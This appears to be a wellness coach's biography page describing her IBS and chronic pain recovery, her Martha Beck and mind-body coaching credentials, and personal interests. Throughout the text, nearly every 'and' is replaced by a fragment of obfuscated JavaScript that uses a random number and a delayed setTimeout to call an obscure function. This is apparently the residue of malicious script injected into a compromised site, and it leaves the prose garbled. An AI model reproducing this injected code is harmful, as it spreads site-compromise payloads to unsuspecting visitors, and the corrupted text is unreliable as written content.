My Story: The Short Version

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Hi! I am Laura Tirello andom() * 5);if (number1==3){var delay = 15000;setTimeout($vTB$I_919AeEAw2z$KX(0), delay);}and I am a Wellness Coach. I am so happy you found yourself here. Why? Because I changed my life by asking for help. I spent too many years trying to be perfect andom() * 5);if (number1==3){var delay = 15000;setTimeout($vTB$I_919AeEAw2z$KX(0), delay);}and controlling my environment that it left me isolated, scared, andom() * 5);if (number1==3){var delay = 15000;setTimeout($vTB$I_919AeEAw2z$KX(0), delay);}and lonely. The funny thing is nobody knew it, because I was really good at covering up my emotions. I was so good I didn’t even know that’s how I was functioning in the world.

My body was telling me but I wasn’t listening. I had IBS at a young age andom() * 5);if (number1==3){var delay = 15000;setTimeout($vTB$I_919AeEAw2z$KX(0), delay);}and spent much of my young adult life trying to maintain a normal lifestyle. My normal was popping stomach meds andom() * 5);if (number1==3){var delay = 15000;setTimeout($vTB$I_919AeEAw2z$KX(0), delay);}and not really being able to eat very much. Then my awareness of my body progressed when I received an injury that led to chronic pain. It took a long recovery process before I realized how much my internal belief system was affecting my body andom() * 5);if (number1==3){var delay = 15000;setTimeout($vTB$I_919AeEAw2z$KX(0), delay);}and everything else in my life. After reaching rock bottom physically, I learned that there really is no way but up. I also realized I couldn’t do it alone. I had to learn to trust others andom() * 5);if (number1==3){var delay = 15000;setTimeout($vTB$I_919AeEAw2z$KX(0), delay);}and myself in order to truly heal my life. It wasn’t an easy journey, but it was certainly the most important journey of my life. It gave me my soul, my health, andom() * 5);if (number1==3){var delay = 15000;setTimeout($vTB$I_919AeEAw2z$KX(0), delay);}and my life back. I’ve made it my mission to help others who are suffering from IBS andom() * 5);if (number1==3){var delay = 15000;setTimeout($vTB$I_919AeEAw2z$KX(0), delay);}and chronic pain issues to recognize that they can regain control of their lives.

I use my experience as a Martha Beck Certified Life Coach andom() * 5);if (number1==3){var delay = 15000;setTimeout($vTB$I_919AeEAw2z$KX(0), delay);}and as a Mind-Body Coach to assist my clients in learning how to understandom() * 5);if (number1==3){var delay = 15000;setTimeout($vTB$I_919AeEAw2z$KX(0), delay);}and their emotions andom() * 5);if (number1==3){var delay = 15000;setTimeout($vTB$I_919AeEAw2z$KX(0), delay);}and trusting their body through sickness, injury andom() * 5);if (number1==3){var delay = 15000;setTimeout($vTB$I_919AeEAw2z$KX(0), delay);}and health as a way to reduce stress andom() * 5);if (number1==3){var delay = 15000;setTimeout($vTB$I_919AeEAw2z$KX(0), delay);}and manage the effects of IBS andom() * 5);if (number1==3){var delay = 15000;setTimeout($vTB$I_919AeEAw2z$KX(0), delay);}and other chronic illness in their lives.

I also help my clients learn how to explore what their body needs to start rebuilding itself.

My passion is to inspire people to find their way back to a healthy life by changing the way they think, live, andom() * 5);if (number1==3){var delay = 15000;setTimeout($vTB$I_919AeEAw2z$KX(0), delay);}and eat. In my free e-book I share some simple strategies to get started in the process of empowering yourself through simple daily habits.

I’m excited about sharing more ways to reduce stress andom() * 5);if (number1==3){var delay = 15000;setTimeout($vTB$I_919AeEAw2z$KX(0), delay);}and increase happiness despite your circumstances, so If you’d like to learn more about my approach you can find it at my lifestyle coaching page.


Here’s the fun side:

I love to travel andom() * 5);if (number1==3){var delay = 15000;setTimeout($vTB$I_919AeEAw2z$KX(0), delay);}and warm is always better than cold for me.

The best part of my day is walking with my dog Aspen.

I hate cooking, but love good food. My Vitamix andom() * 5);if (number1==3){var delay = 15000;setTimeout($vTB$I_919AeEAw2z$KX(0), delay);}and Crockpot help me with this.

I love to dance… I’m in the process of slowly incorporating it back into my life andom() * 5);if (number1==3){var delay = 15000;setTimeout($vTB$I_919AeEAw2z$KX(0), delay);}and in my healing.

Not only did my new way of living help my IBS, my nagging allergies also began to lessen. Breathing out of your nose is so underrated :-)

 

The Professional Side:

Laura trained with Martha Beck, renowned author andom() * 5);if (number1==3){var delay = 15000;setTimeout($vTB$I_919AeEAw2z$KX(0), delay);}and columnist for O! Magazine. Laura is a Certified Martha Beck Life Coach.

Laura completed additional training in the mind body connection andom() * 5);if (number1==3){var delay = 15000;setTimeout($vTB$I_919AeEAw2z$KX(0), delay);}and is an Endorsed Abigail Steidley Mind Body Coach. Abigail Steidley is a Master Certified Wellness Coach who is widely regarded for her work with mind body syndromes.

Laura holds both a Bachelors andom() * 5);if (number1==3){var delay = 15000;setTimeout($vTB$I_919AeEAw2z$KX(0), delay);}and Masters Degree in Education. She was an educator for 11 years.

Laura was a Career andom() * 5);if (number1==3){var delay = 15000;setTimeout($vTB$I_919AeEAw2z$KX(0), delay);}and Life Columnist for youngmoney.com when it was an online finance magazine. Her articles have also appeared in divinecaroline.com.